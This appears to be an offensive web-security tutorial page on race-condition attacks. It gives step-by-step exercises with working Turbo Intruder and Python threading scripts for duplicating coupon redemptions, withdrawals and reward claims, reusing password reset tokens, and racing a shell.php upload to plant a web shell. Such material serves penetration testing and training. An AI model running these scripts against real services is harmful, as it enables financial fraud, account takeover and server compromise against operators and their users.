Race Condition Attacks

Race condition attacks exploit the gap between state validation and state update when multiple requests hit the server simultaneously. If the backend processes these requests without atomic operations or locking, attackers can duplicate transactions, bypass limits, drain balances, or interfere with workflows.
These attacks depend on concurrency, not payloads. The objective is to force the server into executing two or more logically exclusive actions at the same time.

How Race Conditions Form

When a server processes requests, it usually performs:

  1. Check a condition

  2. Approve or reject

  3. Update the database

If two requests reach step 1 before step 3 happens, both are accepted.
This occurs because:

  • no locking

  • non-atomic database operations

  • caching delays

  • asynchronous task execution

  • microservice communication lag

Attackers exploit this by sending many parallel requests targeting a critical operation.

Identifying Vulnerable Operations

Race conditions affect operations that must occur only once, or where state must change exactly once per request.

Common targets:

  • coupon redemption

  • reward claiming

  • wallet withdrawal

  • bank transfer

  • checkout processes

  • stock purchase

  • password reset and email change

  • free trials

  • unique token use

  • privilege elevation workflows

  • file upload + rename or overwrite

  • gift card application

  • subscription plan upgrades

  • referral credits

If the application relies solely on checking the current state without atomic updates, race conditions likely exist.

Practical Recon for Race Conditions

Inspect requests that:

  • modify sensitive values

  • reduce stock or inventory

  • consume one-time items

  • change account details

  • involve payment or credits

  • rely on sequential steps

Then check if:

  • the request returns quickly

  • there is a noticeable delay in updating the backend

  • the frontend enforces limits while backend does not

  • there is no visible locking mechanism

  • transactions appear eventual, not immediate

If any of these hold true, the endpoint may be vulnerable.

Practical Attack Foundations

To exploit a race condition, send many requests in parallel at the same instant. Use:

  • Burp Turbo Intruder

  • Python threading

  • Go concurrency

  • multiple browser tabs

  • professional load-testing tools

Turbo Intruder is the strongest manual tool.
Python scripts allow precise control over concurrency.

Below are full practical exercises for multiple real-world attack types.

Practical Attack 1: Double-Spending Coupons

Target endpoint:

POST /applyCoupon
coupon=SAVE100

Expected behavior: coupon works once.

Step-by-step exploitation

Step 1: Capture the request in Burp Repeater

POST /applyCoupon
Content-Type: application/x-www-form-urlencoded

coupon=SAVE100

Step 2: Send to Turbo Intruder

Turbo Intruder script:

def queueRequests(target, engine):
    for i in range(150):
        engine.queue(target.req, gate='race')
    engine.openGate('race')

Step 3: Observe results

If many responses return:

{"status":"success"}

instead of one success and the rest failures, coupon redemption is vulnerable.

Step 4: Check the balance or discount applied

If discount appears multiple times, double redemption succeeded.

Practical Attack 2: Wallet Transfer Duplication

Endpoint:

POST /withdraw
amount=100

Expected: only one withdrawal if balance < 200.

Step-by-step exploitation

Step 1: Capture request

POST /withdraw
amount=100

Step 2: Create a Python thread attack script

import threading, requests

url = "https://target.com/withdraw"
payload = {"amount": 100}
cookies = {"session": "YOUR_SESSION"}

def hit():
    requests.post(url, data=payload, cookies=cookies)

threads = [threading.Thread(target=hit) for _ in range(60)]
[t.start() for t in threads]

Step 3: Run the script and observe the results

If:

  • several withdrawals succeed

  • balance becomes negative

  • multiple “withdrawal success” messages appear

then the backend is vulnerable.

Practical Attack 3: Free Trial Abuse

Endpoint:

POST /startTrial

Expected: one activation per user.

Step-by-step exploitation

Step 1: Intercept the request

POST /startTrial

Step 2: Turbo Intruder burst

for i in range(100):
    engine.queue(target.req, gate='trial')
engine.openGate('trial')

Step 3: Verify user profile

If multiple trial entries appear or expiry date extends repeatedly, the system accepts concurrent trial activations.

Practical Attack 4: Password Reset Token Reuse

Token endpoints must be atomic.
Example:

POST /resetPassword
token=ABC123&newPass=test123

Expected: disposable token.

Step-by-step exploitation

Step 1: Capture the reset request

Step 2: Create two types of requests:

Request A: changes password
Request B: uses token again for login or profile access

Step 3: Use threaded attack

import threading, requests

reset_url = "https://target.com/resetPassword"
payload = {"token": "ABC123", "newPass": "xyz123"}
cookies = {"session":"victim_session"}

def send():
    requests.post(reset_url, data=payload, cookies=cookies)

for i in range(50):
    threading.Thread(target=send).start()

Step 4: If multiple responses show success

Token reuse is possible.

Step 5: Attempt login with token immediately

If accepted, race condition confirmed.

Practical Attack 5: Buying Out-of-Stock Products

Endpoint:

POST /purchase
productId=9&qty=1

Stock: 1 remaining.

Step-by-step exploitation

Step 1: Capture purchase request

Step 2: Turbo Intruder parallel-buy attack

for i in range(120):
    engine.queue(target.req, gate='buy')
engine.openGate('buy')

Step 3: Monitor responses

If:

  • multiple purchases succeed

  • backend stock becomes negative

  • cart or order history shows duplicates

inventory logic is unsafe.

Practical Attack 6: Referral / Reward Point Duplication

Endpoint:

POST /claimReward
rewardId=5

Expected: can only claim once.

Step-by-step exploitation

Step 1: Capture request

Step 2: Burst with Python

import threading, requests

url="https://target.com/claimReward"
cookies={"session":"YOUR_SESSION"}
data={"rewardId":5}

def run():
    requests.post(url, data=data, cookies=cookies)

for i in range(200):
    threading.Thread(target=run).start()

Step 3: Check user account

If reward is added multiple times → vulnerability confirmed.

Practical Attack 7: File Upload Overwrite Race

Two uploads:

  • clean.jpg

  • shell.php

Endpoint:

POST /upload

Expected: sanitized version stored safely.

Step-by-step exploitation

Step 1: Prepare files

  • benign.jpg

  • shell.php disguised as image

Step 2: Send simultaneous uploads

import threading, requests

url="https://target.com/upload"

def upload_file(path):
    requests.post(url, files={"file": open(path,"rb")})

threading.Thread(target=upload_file, args=("benign.jpg",)).start()
threading.Thread(target=upload_file, args=("shell.php",)).start()

Step 3: Check which file appears on the server

If the malicious file persists, race condition exists.

Practical Attack 8: Privilege Escalation via Timing

Some systems grant temporary admin privileges:

  1. enableAdminView

  2. performAction

  3. disableAdminView

Attackers send steps 2 and 3 at the same time.

Step-by-step exploitation

Step 1: Capture admin preview request

POST /enableAdminView

Step 2: Capture privileged action request

POST /updateConfig

Step 3: Fire both requests concurrently

If the privileged action executes before privilege is removed, backend is vulnerable.

Practical Attack 9: API Quota Abuse

Example:

POST /api/sendSMS
limit: 3 per day

If rate checks and quota updates are asynchronous:

Step-by-step exploitation

  • send 200 requests in parallel

  • check SMS logs

  • if dozens send → quota bypass

Practical Attack 10: Banking Transfer Race

Endpoints:

POST /prepareTransfer
POST /confirmTransfer

If prepare and confirm run simultaneously:

  • funds may transfer without validation

  • multiple transfers may occur

  • user may transfer more than allowed

Attackers race both endpoints at once.

Practical Detection Strategy

  • send duplicate requests quickly

  • check for inconsistent state

  • repeat on different endpoints

  • stop when server responses become deterministic

  • examine database-visible effects

  • check concurrency behavior on trial accounts

Race conditions rarely appear alone; test every state-changing route.

Intel Dump

  • Race conditions arise when concurrent requests bypass sequential logic.

  • Vulnerable areas include coupons, trials, rewards, wallet transfers, password resets, and stock.

  • Practical exploitation uses Turbo Intruder, Python threading, and parallel request floods.

  • Key patterns include duplicated actions, negative balances, token reuse, file overwrite races, and privilege timing flaws.

  • Attack success is determined by inconsistent backend state or multiple successes where only one should occur.

HOME LEARN COMMUNITY DASHBOARD